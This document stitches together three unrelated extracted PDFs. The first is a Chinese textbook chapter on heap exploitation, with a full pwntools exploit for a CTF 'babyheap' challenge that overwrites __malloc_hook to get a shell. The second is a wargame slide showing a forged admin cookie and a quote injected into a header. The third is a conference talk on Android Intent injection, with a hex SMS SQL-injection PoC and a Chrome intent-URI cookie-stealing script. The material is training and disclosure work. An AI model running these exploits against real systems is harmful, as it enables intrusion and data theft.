v3 = calloc(v2, 1uLL); // buf if ( !v3 ) exit(-1); *(_DWORD *)(0x18LL * i + a1) = 1; // table[i].in_use *(_QWORD *)(a1 + 0x18LL * i + 8) = v2; // table[i].size 第 11 章 堆利用 ┃ LIX *(_QWORD *)(a1 + 0x18LL * i + 0x10) = v3;// table[i].buf_ptr printf("Allocate Index %d\n", (unsigned int)i); } return; } } } 参数 a1 是 sub_B70 函数的返回值,是一个随机生成的内存地址,在该地址上通过 mmap 系统调 用开辟了一段内存空间,用于存放最多 16 个结构体,我们暂且称它为 table,每个结构体包含 in_use、 size 和 buf_ptr 三个域,分别表示堆块是否在使用、堆块大小和指向堆块缓冲区的指针。至于这里为 什么特意使用了 mmap,我们后面再解释。sub_D48 函数通过遍历找到第一个未被使用的结构体,然 后请求读入一个数作为 size,并分配 size 大小的堆块,最后更新该结构体。需要注意的是,这里使 用 calloc()而不是 malloc()作为堆块分配函数,意味着所得到的内存空间被初始化为 0。 然后来看负责填充的 Fill 部分。该函数首先读入一个数作为索引,找到其对应的结构体并判断 该结构体是否被使用,如果是,则读入第二个数作为 size,然后将该结构体的 buf_ptr 域和 size 作为 参数调用函数 sub_11B2()。 __int64 __fastcall sub_E7F(__int64 a1) { __int64 result; // rax int v2; // [rsp+18h] [rbp-8h] int v3; // [rsp+1Ch] [rbp-4h] printf("Index: "); result = sub_138C(); // index v2 = result; if ( (signed int)result >= 0 && (signed int)result <= 15 ) { result = *(unsigned int *)(0x18LL * (signed int)result + a1); // table[result].in_use if ( (_DWORD)result == 1 ) { printf("Size: "); result = sub_138C(); // size v3 = result; if ( (signed int)result > 0 ) { printf("Content: "); result = sub_11B2(*(_QWORD *)(0x18LL * v2 + a1 + 0x10), v3); // table[v2].buf_ptr, size } } } return result; } 于是我们转到 sub_11B2(),该函数用于读入 a2 个字符到 a1 地址处。while 的逻辑保证了一定且 只能够读入 a2 个字符,但对于得到的字符串是否以“\n”结尾并不关心,这就为信息泄露埋下了隐 患。 unsigned __int64 __fastcall sub_11B2(__int64 a1, unsigned __int64 a2) { 第 11 章 堆利用 ┃ LX unsigned __int64 v3; // [rsp+10h] [rbp-10h] ssize_t v4; // [rsp+18h] [rbp-8h] if ( !a2 ) return 0LL; v3 = 0LL; while ( v3 < a2 ) { v4 = read(0, (void *)(v3 + a1), a2 - v3); if ( v4 > 0 ) { v3 += v4; } else if ( *_errno_location() != 11 && *_errno_location() != 4 ) { return v3; } } return v3; } 接下来是负责释放堆块的 Free 部分。该函数同样读入一个数作为索引,并找到对应的结构体, 释放堆块缓冲区,并将全部域清零。 __int64 __fastcall sub_F50(__int64 a1) { __int64 result; // rax int v2; // [rsp+1Ch] [rbp-4h] printf("Index: "); result = sub_138C(); // index v2 = result; if ( (signed int)result >= 0 && (signed int)result <= 15 ) { result = *(unsigned int *)(0x18LL * (signed int)result + a1); // table[result].in_use if ( (_DWORD)result == 1 ) { *(_DWORD *)(0x18LL * v2 + a1) = 0; // table[result].in_use *(_QWORD *)(0x18LL * v2 + a1 + 8) = 0LL; // table[result].size free(*(void **)(0x18LL * v2 + a1 + 0x10));// table[result].buf_ptr result = 0x18LL * v2 + a1; *(_QWORD *)(result + 0x10) = 0LL; // table[result].buf_ptr } } return result; } 最后是负责信息泄露的 Dump 部分。该函数首先对索引对应的结构体进行判断,只有是被使用 的,才会调用函数 sub_130F,两个参数分别为结构体的 buf_ptr 和 size 域。函数 sub_130F()用于将字 符串写到标准输出,其实现方式与用于读入字符串的函数 sub_11B2()类似,严格限制了写出字符串 的长度。 回想一下,整个程序中其实有两个 size,一个是结构体的 size 域,被传递给 calloc()函数作为参 数,另一个是字符串长度的 size,被传递给 sub_11B2()函数。由于这两个 size 并没有限制相互之间 的大小关系,如果第二个 size 大于第一个 size,将会造成堆缓冲区的溢出。 第 11 章 堆利用 ┃ LXI 漏洞利用 根据上面的分析,我们知道程序的漏洞点是 sub_11B2()函数中的堆缓冲区溢出。程序开启了 PIE, 所以我们需要泄露 libc 的地址,泄露点在 sub_11B2()函数中;开启了 Full RELRO,则说明在漏洞利 用时,不能通过修改 GOT 表劫持程序的控制流,所以我们考虑使用劫持 malloc hook 函数的方式, 触发 one-gadget 得到 shell。 泄露 libc 的地址可以利用堆块重叠技术来实现,将一个 fast chunk 和一个 small chunk 进行重叠, 然后释放 small chunk,即可通过打印 fast chunk 的数据得到我们需要的地址。 首先创建 4 个 fast chunk 和 1 个 small chunk,初始内存布局如下所示。 gef➤ vmmap heap Start End Offset Perm Path 0x000055620c441000 0x000055620c443000 0x0000000000000000 r-x /.../babyheap 0x000055620c642000 0x000055620c643000 0x0000000000001000 r-- /.../babyheap 0x000055620c643000 0x000055620c644000 0x0000000000002000 rw- /.../babyheap 0x000055620ca32000 0x000055620ca53000 0x0000000000000000 rw- [heap] gef➤ x/36gx 0x000055620ca32000 0x55620ca32000: 0x0000000000000000 0x0000000000000021 # chunk0 0x55620ca32010: 0x0000000000000000 0x0000000000000000 0x55620ca32020: 0x0000000000000000 0x0000000000000021 # chunk1 0x55620ca32030: 0x0000000000000000 0x0000000000000000 0x55620ca32040: 0x0000000000000000 0x0000000000000021 # chunk2 0x55620ca32050: 0x0000000000000000 0x0000000000000000 0x55620ca32060: 0x0000000000000000 0x0000000000000021 # chunk3 0x55620ca32070: 0x0000000000000000 0x0000000000000000 0x55620ca32080: 0x0000000000000000 0x0000000000000091 # chunk4 0x55620ca32090: 0x0000000000000000 0x0000000000000000 ...... 0x55620ca32100: 0x0000000000000000 0x0000000000000000 0x55620ca32110: 0x0000000000000000 0x0000000000020ef1 # top chunk gef➤ search-pattern 0x000055620ca32010 [+] In (0x20dc959e0000-0x20dc959e1000), permission=rw- 0x20dc959e07c0 - 0x20dc959e07e0 → "\x10\x20\xa3\x0c\x62\x55\x00\x00[...]" gef➤ x/18gx 0x20dc959e07c0-0x10 0x20dc959e07b0: 0x0000000000000001 0x0000000000000010 # table 0x20dc959e07c0: 0x000055620ca32010 0x0000000000000001 0x20dc959e07d0: 0x0000000000000010 0x000055620ca32030 0x20dc959e07e0: 0x0000000000000001 0x0000000000000010 0x20dc959e07f0: 0x000055620ca32050 0x0000000000000001 0x20dc959e0800: 0x0000000000000010 0x000055620ca32070 0x20dc959e0810: 0x0000000000000001 0x0000000000000080 0x20dc959e0820: 0x000055620ca32090 0x0000000000000000 0x20dc959e0830: 0x0000000000000000 0x0000000000000000 我们来看虚拟内存映射的布局,第三行表示.bss 段,第四行表示 heap,在关闭 ASLR 的情况下,.bss 段的末尾地址等于 heap 的起始地址,而在开启 ASLR 的情况下,这两个地址之间其实是存在一段随 机偏移(Random brk offset)的。由于 heap 的初始化使用了 brk 系统调用,同时页(4KB)是内存分 第 11 章 堆利用 ┃ LXII 配的最小单位,所以地址的低 3 位总是 0x000,这一点非常重要。 接下来释放 chunk1 和 chunk2,此时在单链表 fastbin 中 chunk2->fd 指向 chunk1。如果利用堆溢 出漏洞修改 chunk2->fd,使其指向 chunk4,就可以将 small chunk 链接到 fastbin 中,当然还需要把 chunk4->size 的 0x91 改成 0x21 以绕过 malloc 对 fastbin chunk 大小的检查。 思考一下,其实我们并不知道 heap 的地址,因为它是随机的,但是我们知道 heap 起始地址的 低位字节一定是 0x00,从而推测出 chunk4 的低位字节一定是 0x80。于是我们也可以回答为什么在 申请 table 空间的时候使用 mmap 系统调用,而不是 malloc 系列函数,就是为了保证 chunk 是从 heap 的起始地址开始分配的。结果如下所示。 gef➤ x/36gx 0x000055620ca32000 0x55620ca32000: 0x0000000000000000 0x0000000000000021 # chunk0 0x55620ca32010: 0x4141414141414141 0x4141414141414141 0x55620ca32020: 0x0000000000000000 0x0000000000000021 # chunk1 [free] 0x55620ca32030: 0x0000000000000000 0x4141414141414141 0x55620ca32040: 0x0000000000000000 0x0000000000000021 # chunk2 [free] 0x55620ca32050: 0x000055620ca32080 0x0000000000000000 0x55620ca32060: 0x0000000000000000 0x0000000000000021 # chunk3 0x55620ca32070: 0x4141414141414141 0x4141414141414141 0x55620ca32080: 0x0000000000000000 0x0000000000000021 # chunk4 0x55620ca32090: 0x0000000000000000 0x0000000000000000 ...... 0x55620ca32100: 0x0000000000000000 0x0000000000000000 0x55620ca32110: 0x0000000000000000 0x0000000000020ef1 # top chunk 此时我们只需要再次申请空间,根据 fastbins 后进先出的机制,即可在原 chunk2 的位置创建一 个 new chunk1,在 chunk4 的位置创造一个重叠的 new chunk2,也就是本节所讲的 fastbin dup。 gef➤ x/36gx 0x000055620ca32000 0x55620ca32000: 0x0000000000000000 0x0000000000000021 # chunk0 0x55620ca32010: 0x4141414141414141 0x4141414141414141 0x55620ca32020: 0x0000000000000000 0x0000000000000021 # chunk1 [free] 0x55620ca32030: 0x0000000000000000 0x4141414141414141 0x55620ca32040: 0x0000000000000000 0x0000000000000021 # new chunk1 0x55620ca32050: 0x0000000000000000 0x0000000000000000 0x55620ca32060: 0x0000000000000000 0x0000000000000021 # chunk3 0x55620ca32070: 0x4141414141414141 0x4141414141414141 0x55620ca32080: 0x0000000000000000 0x0000000000000021 # chunk4, new chunk2 0x55620ca32090: 0x0000000000000000 0x0000000000000000 ...... 0x55620ca32100: 0x0000000000000000 0x0000000000000000 0x55620ca32110: 0x0000000000000000 0x0000000000020ef1 # top chunk gef➤ x/18gx 0x20dc959e07c0-0x10 0x20dc959e07b0: 0x0000000000000001 0x0000000000000010 # table 0x20dc959e07c0: 0x000055620ca32010 0x0000000000000001 0x20dc959e07d0: 0x0000000000000010 0x000055620ca32050 0x20dc959e07e0: 0x0000000000000001 0x0000000000000010 0x20dc959e07f0: 0x000055620ca32090 0x0000000000000001 # table[2] 第 11 章 堆利用 ┃ LXIII 0x20dc959e0800: 0x0000000000000010 0x000055620ca32070 0x20dc959e0810: 0x0000000000000001 0x0000000000000080 0x20dc959e0820: 0x000055620ca32090 0x0000000000000000 # table[4] 0x20dc959e0830: 0x0000000000000000 0x0000000000000000 接下来我们将 chunk4->size 修改回 0x91,并申请另一个 small chunk 以防止 chunk4 与 top chunk 合并,此时释放 chunk4 就可将其放入 unsorted_bin。 gef➤ x/36gx 0x000055620ca32000 0x55620ca32000: 0x0000000000000000 0x0000000000000021 # chunk0 0x55620ca32010: 0x4141414141414141 0x4141414141414141 0x55620ca32020: 0x0000000000000000 0x0000000000000021 # chunk1 [free] 0x55620ca32030: 0x0000000000000000 0x4141414141414141 0x55620ca32040: 0x0000000000000000 0x0000000000000021 # chunk2 0x55620ca32050: 0x0000000000000000 0x0000000000000000 0x55620ca32060: 0x0000000000000000 0x0000000000000021 # chunk3 0x55620ca32070: 0x4141414141414141 0x4141414141414141 0x55620ca32080: 0x0000000000000000 0x0000000000000091 # chunk4 [free] 0x55620ca32090: 0x00007f3d58cabb78 0x00007f3d58cabb78 # fd, bk 0x55620ca320a0: 0x0000000000000000 0x0000000000000000 ...... 0x55620ca32100: 0x0000000000000000 0x0000000000000000 0x55620ca32110: 0x0000000000000090 0x0000000000000090 # chunk5 gef➤ heap bins unsorted [+] unsorted_bins[0]: fw=0x55620ca32080, bk=0x55620ca32080 → Chunk(addr=0x55620ca32090, size=0x90, flags=PREV_INUSE) gef➤ vmmap libc Start End Offset Perm Path 0x00007f3d588e7000 0x00007f3d58aa7000 0x0000000000000000 r-x /.../libc-2.23.so 0x00007f3d58aa7000 0x00007f3d58ca7000 0x00000000001c0000 --- /.../libc-2.23.so 0x00007f3d58ca7000 0x00007f3d58cab000 0x00000000001c0000 r-- /.../libc-2.23.so 0x00007f3d58cab000 0x00007f3d58cad000 0x00000000001c4000 rw- /.../libc-2.23.so 此时被释放的 chunk4 的 fd,bk 指针均指向 libc 中的地址,只要将其泄露出来,通过计算即可 得到 libc 中的偏移,进而得到 one-gadget 的地址。 gef➤ p 0x00007f3d58cabb78 - 0x00007f3d588e7000 $1 = 0x3c4b78 我们知道,__malloc_hook 是一个弱类型的函数指针变量,指向 void * function(size_t size, void * caller),当调用 malloc()函数时,首先会判断 hook 函数指针是否为空,不为空则调用它。所以接下来 再次利用 fastbin dup 修改__malloc_hook 使其指向 one-gadget。但由于 fast chunk 的大小只能在 0x20 到 0x80 之间,我们就需要一点小小的技巧,即错位偏移,如下所示。 gef➤ x/10gx (long long)(&main_arena)-0x30 0x7f3d58cabaf0: 0x00007f3d58caa260 0x0000000000000000 0x7f3d58cabb00 <__memalign_hook>: 0x00007f3d5896ce20 0x00007f3d5896ca00 0x7f3d58cabb10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 # target 0x7f3d58cabb20 <main_arena>: 0x0000000000000000 0x0000000000000000 0x7f3d58cabb30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 第 11 章 堆利用 ┃ LXIV gef➤ x/8gx (long long)(&main_arena)-0x30+0xd 0x7f3d58cabafd: 0x3d5896ce20000000 0x3d5896ca0000007f 0x7f3d58cabb0d: 0x000000000000007f 0x0000000000000000 # fake chunk 0x7f3d58cabb1d: 0x0000000000000000 0x0000000000000000 0x7f3d58cabb2d: 0x0000000000000000 0x0000000000000000 我们先将一个 fast chunk 放进 fastbin(与 0x7f 大小的 fake chunk 相匹配),修改其 fd 指针指向 fake chunk。然后将 fake chunk 分配出来,进而修改其数据为 one-gadget。最后,只要调用 calloc()触 发 hook 函数,即可执行 one-gadget 获得 shell。 gef➤ x/24gx 0x20dc959e07c0-0x10 0x20dc959e07b0: 0x0000000000000001 0x0000000000000010 # table 0x20dc959e07c0: 0x000055620ca32010 0x0000000000000001 0x20dc959e07d0: 0x0000000000000010 0x000055620ca32050 0x20dc959e07e0: 0x0000000000000001 0x0000000000000010 0x20dc959e07f0: 0x000055620ca32090 0x0000000000000001 0x20dc959e0800: 0x0000000000000010 0x000055620ca32070 0x20dc959e0810: 0x0000000000000001 0x0000000000000060 0x20dc959e0820: 0x000055620ca32090 0x0000000000000001 0x20dc959e0830: 0x0000000000000080 0x000055620ca32120 0x20dc959e0840: 0x0000000000000001 0x0000000000000060 0x20dc959e0850: 0x00007f3d58cabb0d 0x0000000000000000 # table[6] 0x20dc959e0860: 0x0000000000000000 0x0000000000000000 gef➤ x/10gx (long long)(&main_arena)-0x30 0x7f3d58cabaf0: 0x00007f3d58caa260 0x0000000000000000 0x7f3d58cabb00 <__memalign_hook>: 0x00007f3d5896ce20 0x0000003d5896ca00 0x7f3d58cabb10 <__malloc_hook>: 0x00007f3d5892c26a 0x0000000000000000 0x7f3d58cabb20 <main_arena>: 0x0000000000000000 0x0000000000000000 0x7f3d58cabb30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 其实,本题还有很多种调用 one-gadget 的方法,例如修改__realloc_hook 和__free_hook,或者修 改 IO_FILE 结构体等,我们会在 12.3 节中补充介绍。 解题代码 from pwn import * io = remote('0.0.0.0', 10001) # io = process('./babyheap') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') def alloc(size): io.sendlineafter("Command: ", '1') io.sendlineafter("Size: ", str(size)) def fill(idx, cont): io.sendlineafter("Command: ", '2') io.sendlineafter("Index: ", str(idx)) io.sendlineafter("Size: ", str(len(cont))) io.sendafter("Content: ", cont) def free(idx): io.sendlineafter("Command: ", '3') io.sendlineafter("Index: ", str(idx)) 第 11 章 堆利用 ┃ LXV def dump(idx): io.sendlineafter("Command: ", '4') io.sendlineafter("Index: ", str(idx)) io.recvuntil("Content: \n") return io.recvline() def fastbin_dup(): alloc(0x10) # chunk0 alloc(0x10) # chunk1 alloc(0x10) # chunk2 alloc(0x10) # chunk3 alloc(0x80) # chunk4 free(1) free(2) payload = "A" * 0x10 payload += p64(0) + p64(0x21) payload += p64(0) + "A" * 8 payload += p64(0) + p64(0x21) payload += p8(0x80) # chunk2->fd => chunk4 fill(0, payload) payload = "A" * 0x10 payload += p64(0) + p64(0x21) # chunk4->size fill(3, payload) alloc(0x10) # chunk1 alloc(0x10) # chunk2, overlap chunk4 def leak_libc(): global libc_base, malloc_hook payload = "A" * 0x10 payload += p64(0) + p64(0x91) # chunk4->size fill(3, payload) alloc(0x80) # chunk5 free(4) leak_addr = u64(dump(2)[:8]) libc_base = leak_addr - 0x3c4b78 malloc_hook = libc_base + libc.symbols['__malloc_hook'] log.info("leak address: 0x%x" % leak_addr) log.info("libc base: 0x%x" % libc_base) log.info("__malloc_hook address: 0x%x" % malloc_hook) def pwn(): alloc(0x60) # chunk4 free(4) fill(2, p64(malloc_hook - 0x20 + 0xd)) 第 11 章 堆利用 ┃ LXVI alloc(0x60) # chunk4 alloc(0x60) # chunk6 (fake chunk) one_gadget = libc_base + 0x4526a fill(6, p8(0)*3 + p64(one_gadget)) # __malloc_hook => one-gadget alloc(1) io.interactive() if __name__=='__main__': fastbin_dup() leak_libc() pwn()
pdf
HITCON GIRLS Wargame 2014/12/07 Allen Own [email protected] GET / HTTP/1.1 Host: devco.re User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:33.0) Gecko/ 20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-tw,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://devco.re/ Cookie: user=admin X-Forwarded-For: 127.0.0.1' Connection: keep-alive
pdf
2015-­‐8  汪涛 ¡ 汪涛 of  BaiduX-­‐Team,ID  neobyte ¡ 多年安全评估经验,涉及⽅方向较杂,web安全、java安全、android安 全、前端安全… 3 parseUri注入 PendingIntent误用 Action/Component/Data注入 Intent转换与复制 Intent注⼊入的概念 ¡ Android提供的⼀一种java环境下IPC的形式。Intent是⼀一种 IPC消息对象,用于向APP的组件请求⼀一次操作 § 发送与接收组件可能运⾏行在同⼀一个APP或不同的APP(进程)中 § 请求的操作可以是启动⼀一个Activity,Service或处理Broadcast § Intent中通常有Action(⾏行动)或Component(目标组件名),系 统据此决定接收Intent的目标组件 § Intent中还通常包含额外的数据(Extras,Data),供目标组件处 理 Action Compo Extras Data … Intent ¡ Intent是安卓app的重要本地攻击界面:APP公开 组件接收外部Intent数据处理时可能存在安全漏洞 ¡ 实例: § Webview JsInterface § SQL  injection § Path  Traversal § 权限泄漏,⽹网络权限,读写短信的权限 Action Compo Extras Data … Intent 目标 数据 ¡ http://oasam.org/en/oasam/oasam-­‐dv-­‐data-­‐validation/oasam-­‐dv-­‐007-­‐ intent-­‐injection ¡ If  user’s  input  is  loaded  in  a  dynamic  manner  in  the  Intent  data,  a   malicious  user  could  manipulate  such  data  in  order  to  execute  code   through  it.  In  particular,  the  existence  of  dynamic  data  must  be  checked   while  including  such  data  in  an  Intent,  especially  through  the  following   Intent  methods:  addCategory(),  setAction(),  setClass(),  setClassName(),   setComponent(),  setData()  and  setDataAndType(). App Intent startService Activity Service Receiver 外部输⼊入 ¡ 本地Intent注⼊入的风险 § 本地权限提升 § 访问私有组件等 ¡ 场景 § 某APP存在本地Intent注⼊入漏洞,因此注⼊入的 Intent可以攻击其敏感的私有组件 § System权限的APP若存在Intent注⼊入漏洞,可以 绕过IPC权限,启动⼀一些敏感的组件,例如 launchAnyWhere,  BroadcastAnyWhere ¡ 远程Intent注⼊入的风险 § 等同于有限的远程命令执⾏行 § 本地暴露组件的漏洞可从远程攻击 ¡ 场景 § 来自⽹网页中的JS,可以发起intent,播打电话 § 来自通信⽹网络中的短信,可以发起intent Intent转换与复制 n构造intent的元素来自外部 nAction注⼊入 nComponent注⼊入 nData注⼊入 n泄漏pendingintent可能使其 他进程修改intent并以APP的 身份发出 n Intent.parseUri可解析String 为Intent,如果未进⾏行校验, 可能被攻击者篡改Intent n完整接收intent后转发 nIntent代理 ngetParcelable() nnew  Intent(intent) Action/Compo/Data注⼊入 PendingIntent误用 parseUri注⼊入 • ⼀一个开源的java  bytecode 缺陷分析⼯工具 • 分析⼀一个目录下的所有class⽂文件 • 编译安卓4.4.4,得到所有中间过程的class⽂文件 (这样就⽆无需dex2jar),共约3万个class 11 parseUri注入 PendingIntent误用 Action/Component/Data注入 Intent转换与复制 Intent注入的概念 ¡ 最早由申迪分析,AccountManager存在缺陷,恶意APP可 以发出任意intent来启动activity(绕过IPC权限限制) ( http://blogs.360.cn/360mobile/2014/08/19/launchanywhere-­‐google-­‐bug-­‐ 7699048/  ) ¡ 本质上就是⼀一个intent注⼊入 android.accounts.AccountManager$AmsTask$Response.onResult(Bundle) ¡ Intent本身可以传递数据。如果在intent中传递⼀一个intent, 往往代表需要用这个intent发起⼀一个新的IPCàintent注⼊入 ¡ 为了寻找这种Intent转换的特征,可以看看Bytecode android.accounts.AccountManager$AmsTask$Response.onResult(Bundle) ¡ 在findbugs中扫描所有Bytecode指令,如果是checkcast, 进⼀一步检查是否是cast为intent类型 ¡ 对Android  4.4全系统扫描后发现106例Intent的checkcast, 根据是否在同⽅方法中发送了该intent调整优先级,结果第 ⼀一个就是launchAnywhere漏洞,另外还发现⼀一个0day… ¡ ChooserActivity存在Intent注⼊入漏洞,恶意⽆无权限APP可以System权限 启动任意Activity(类似launchAnywhere) ¡ 安卓Framework层有⼀一个导出的Activity组件:ChooserActivity com.android.internal.app.ChooserActivity (4.4.4版截图) ¡ 启动该activity会从输⼊入intent中读取EXTRA_INTENT与 EXTRA_INITIAL_INTENTS,分别是⼀一个intent以及⼀一个intent数组,然 后传递给super.onCreate ¡ super类为com.android.internal.app.ResolverActivity,将启动用户选择 的intent ¡ 2012年(4.1)的⼀一个补丁中增加了对是否有权限启动 EXTRA_INTENT的检查,但依然遗漏了对EXTRA_INITIAL_INTENTS的 检查,所以可以利用EXTRA_INITIAL_INTENTS来launchAnywhere ¡ https://android.googlesource.com/platform/frameworks/base/+/5320eb8 938098c9824093f7f842a0a97bbc190a4%5E%21/#F4 Whether  an  instance  of  the  activity  can  be  launched  into  the  process  of  the   component  that  started  it -­‐ "true"  if  it  can  be,  and  "false"  if  not.  The  default  value   is  "false“.  Normally,  a  new  instance  of  an  activity  is  launched  into  the  process  of   the  application  that  defined  it ¡ 但当我们去launch时,发现权限错误… ¡ http://developer.android.com/guide/topics/manifest/activity-­‐ element.html#multi ¡ com.android.server.am.ActivityRecord ¡ com.android.server.am.PendingIntentRecord ¡ com.android.server.am.ActivityManagerService ¡ com.android.server.am.ActivityStackSupervisor ¡ com.android.server.am.ActivityStackSupervisor ¡ 通过pendingintent,ChooserActivity将在 system进程启动并launch我们的intent ¡ 因为是system进程,可以 启动需要权限的Activity, 或者是私有的Activity ¡ Demo演示弹出两个图标 让用户选择,如果选择了 ⼿手机,将开始拨打电话 ¡ 2014-­‐09-­‐15报告给Android,但是… ¡ 补丁 com.android.internal.app.ResolverActivity,startActivityAsCaller ¡ Fix  issue  #14617210:  Apps  can  gain  access  to  any  ContentProvider with   grantUriPermissions(no  user  interaction  required)     https://android.googlesource.com/platform/frameworks/base/+/028ceeb 472801bcfa5844fc89ed0da8463098824 Thanks  for  the  report.  This  issue  was  previously  reported  to  us  by  another   researcher.  We're  testing  a  fix  for  the  next  release  of  Android. We  ask  that  you  keep  this  issue  confidential  until  our  fix  is  released. ¡ https://android.googlesource.com/platform/frameworks/base/+/android-­‐ 5.1.1_r8/packages/Shell/src/com/android/shell/BugreportWarningActivity.java ¡ https://android.googlesource.com/platform/packages/apps/Camera2/+/android-­‐ 5.1.1_r8/src/com/android/camera/ProxyLauncher.java ¡ https://android.googlesource.com/platform/packages/apps/Settings/+/android-­‐ 5.1.1_r8/src/com/android/settings/users/AppRestrictionsFragment.java ¡ https://android.googlesource.com/platform/packages/apps/Browser/+/android-­‐ 5.1.1_r8/src/com/android/browser/widget/BookmarkWidgetProxy.java 31 parseUri注入 PendingIntent误用 Action/Component/Data注⼊入 Intent转换与复制 Intent注入的概念 ¡ Action/Component/Data仅仅是狭义的举例, 实际范畴是所有构成Intent的元素均可被注 ⼊入 ¡ 攻击者可以控制发送intent的目标或数据, 或者是全部 Action Compo Extras Data … Intent ¡ curesec发现的安卓拨打电话权限绕过漏洞CVE-­‐2013-­‐6272   (<4.4.2,http://blog.curesec.com/article/blog/35.html) com.android.phone.PhoneGlobals$NotificationBroadcastReceiver ¡ 用数据流分析⽅方法,分析java对象的数据污染扩散 ¡ source:binder接⼝口为数据⼊入⼝口 ¡ sink: setAction(),  setClass(),  setClassName(),  setComponent(),  setData()   setDataAndType()这些为目标 ¡ 跨过程的数据流分析 ¡ 缺陷:误报率较⾼高(>1k),但依然发现了⼀一个0dayJ ¡ WapPushManager中存在的SQL注⼊入,也是Intent注⼊入,攻 击者可以远程发送恶意wappush指令,让⼿手机启动组件 ¡ 我们在2014-­‐10-­‐11报告安卓,2014-­‐11-­‐8确认 com.android.smspush.WapPushManager ¡ 通过模拟端⼝口发送wappush sms ¡ ⼿手机收到后,触发SQL注⼊入,查询出settings的component 并启动 ¡ 4.4.4的POC如下 0891683108200105f04408a00156 08860104216092902512237B0605 040b8423f00A065603B081EAAF2 720756e696f6e2073656c65637420 302c27636f6d2e616e64726f6964 2e73657474696e6773272c27636f6 d2e616e64726f69642e736574746 96e67732e53657474696e6773272c 302c302c302d2d200002066A008 509036D6F62696C65746964696E 67732E636F6D2F0001 37 parseUri注入 PendingIntent误用 Action/Component/Data注入 Intent转换与复制 Intent注入的概念 ¡ PendingIntent,经常用于通知 § Pending:延时的 § 包裹着真实的intent § 创建者的context ¡ A把将来要发送的intent打包, 然后交给B,让B在将来代表A 发出这个intent ¡ 即使A已经不存在,B也能以A 的context来发出这个intent B篡改这个intent  =  intent注⼊入 ¡ 安卓也意识到PendingIntent的风险,设置了限制,详见 android.content.Intent.fillin() ¡ 默认情况下(除非开发者设置特殊标记) § B⽆无法修改Component § 仅当A的原始Intent中action为空,B才可以修改action ¡ 但是,如果A的原始Intent中component与action都为空,B 就可以控制Intent的目标,B填⼊入Extras部分的数据直接合并 覆盖A的-­‐>目标与数据均被B控制-­‐>Intent注⼊入(注:这里描述的是⼤大部 分情况,忽视了pkg,  data,  type,  category这些数据在intent解析中的影响) Action Compo Extras Data … Intent 目标 数据 ¡ http://developer.android.com/reference/android/app/PendingIntent.html By  giving  a  PendingIntent to  another  application,  you  are  granting  it  the  right  to   perform  the  operation  you  have  specified  as  if  the  other  application  was   yourself  (with  the  same  permissions  and  identity).  As  such,  you  should  be  careful   about  how  you  build  the  PendingIntent:  almost  always,  for  example,  the  base   Intent  you  supply  should  have  the  component  name  explicitly  set  to  one  of  your   own  components,  to  ensure  it  is  ultimately  sent  there  and  nowhere  else. ¡ 扫描每个method,根据情况调整告警级别 § 发现有构造PendingIntent的⽅方法,例如getActivity,getBroadcast,getService, createPendingResult,getActivities,若有报告并设定告警级别为低 § 在同⼀一个method中,扫描是否调用Intent的设置Component⽅方法,例如特定intent构 造函数,setClass,setClassName,setComponent等,若没有,调⾼高告警级别为中 § 在同⼀一个method中,扫描是否调用Intent的设置action⽅方法,例如特定intent构造函 数, setAction等,若没有,调⾼高告警级别为⾼高 § 其他⼀一些细节调整:例如开发⼈人员主动设置了相关的特殊标记,同⼀一个method中 用putExtra将PendingIntent打包到intent中 ¡ 对Android  4.4全系统扫描后发现152例告警,其中⾼高优先级35例,发 现⼀一个0day… ¡ 安卓Settings中存在PendingIntent权限泄漏漏洞,恶意⽆无 权限app可以system权限发送⼀一个含action与数据的⼴广播 ¡ 我们在2014-­‐9-­‐2报告安卓,2014-­‐9-­‐10确认 com.android.settings.accounts.AddAccountSettings.addAccount(String) ¡ 安装时提示⽆无需任何 权限 ¡ 启动后自动伪造来自 任意⼿手机号的⼀一条短 信 ¡ 另外⼀一个严重的 Demo中,启动后自 动重启用户⼿手机并清 除包括短信,通信录 等数据 ¡ https://android.googlesource.com/platform/frameworks/base/+/android-­‐ 5.1.1_r8/keystore/java/android/security/KeyChain.java ¡ https://android.googlesource.com/platform/frameworks/opt/telephony/+/android-­‐ 5.1.1_r8/src/java/com/android/internal/telephony/gsm/GsmServiceStateTracker.java 47 parseUri注⼊入 PendingIntent误用 Action/Component/Data注入 Intent转换与复制 Intent注入的概念 ¡ https://developer.chrome.com/multidevice/android/intents A  little  known  feature  in  Android  lets  you  launch  apps  directly  from  a  web  page   via  an  Android  Intent.  Only  activities  that  have  the  category  filter,   android.intent.category.BROWSABLE are  able  to  be  invoked  using  this  method   as  it  indicates  that  the  application  is  safe  to  open  from  the  Browser. 基于intent的URI语法如下:  (可参考安卓源码android.content.Intent.parseUri() intent: HOST/URI-­‐path  //  Optional  host   #Intent;   package=[string];   action=[string];   category=[string];   component=[string];   scheme=[string];   end; 参考: [1]  http://www.mbsd.jp/Whitepaper/IntentScheme.pdf [2]  http://drops.wooyun.org/papers/2893 ¡ com.android.webview.chromium.WebViewContentsClientAdapter.java ¡ 直接查找intent.parseUri⽅方法的调用即可 ¡ 对Android  4.4全系统扫描后发现9例告警,并未发现明显的安全问题 ¡ 于是我们去看Chrome,于是发现⼀一个0day… ¡ 检查Intent的action是否等于某个常量字符串,符合条件的intent被启 动activity。 ¡ 但可以直接在uri中指定component,⽆无视action,启动任意activity, 即使未声明BROWSABLE ¡ 我们在2014-­‐10-­‐9报告Chrome,2014-­‐10-­‐9确认 ¡ 访问页面自动触发(Chrome   Android <=37.0.2062.117) <script> var url =   "intent:#Intent;action=com.google.android.apps.auth enticator.AUTHENTICATE;S.url=javascript:eval(decode URIComponent('location%3D%22http%3A%2F%2Fww w.baidu.com%2F%22%3Bwindow.onload%3Dfunction() %20%7Balert(document.cookie)%7D%3B'));SEL;compo nent=com.android.chrome/com.google.android.apps.c hrome.help.HelpActivity;end"; location.href =  url; </script> ¡ 访问⽹网页自动触发,详见 https://code.google.com/p/chromiu m/issues/detail?id=421817 ¡ 演示视频是基于小米语音助⼿手,与 上述链接中的POC略有修改 ¡ Intent注⼊入漏洞,并非⼀一个新的概念,它早就存在。它比 较稀少,因此容易被忽视 ¡ 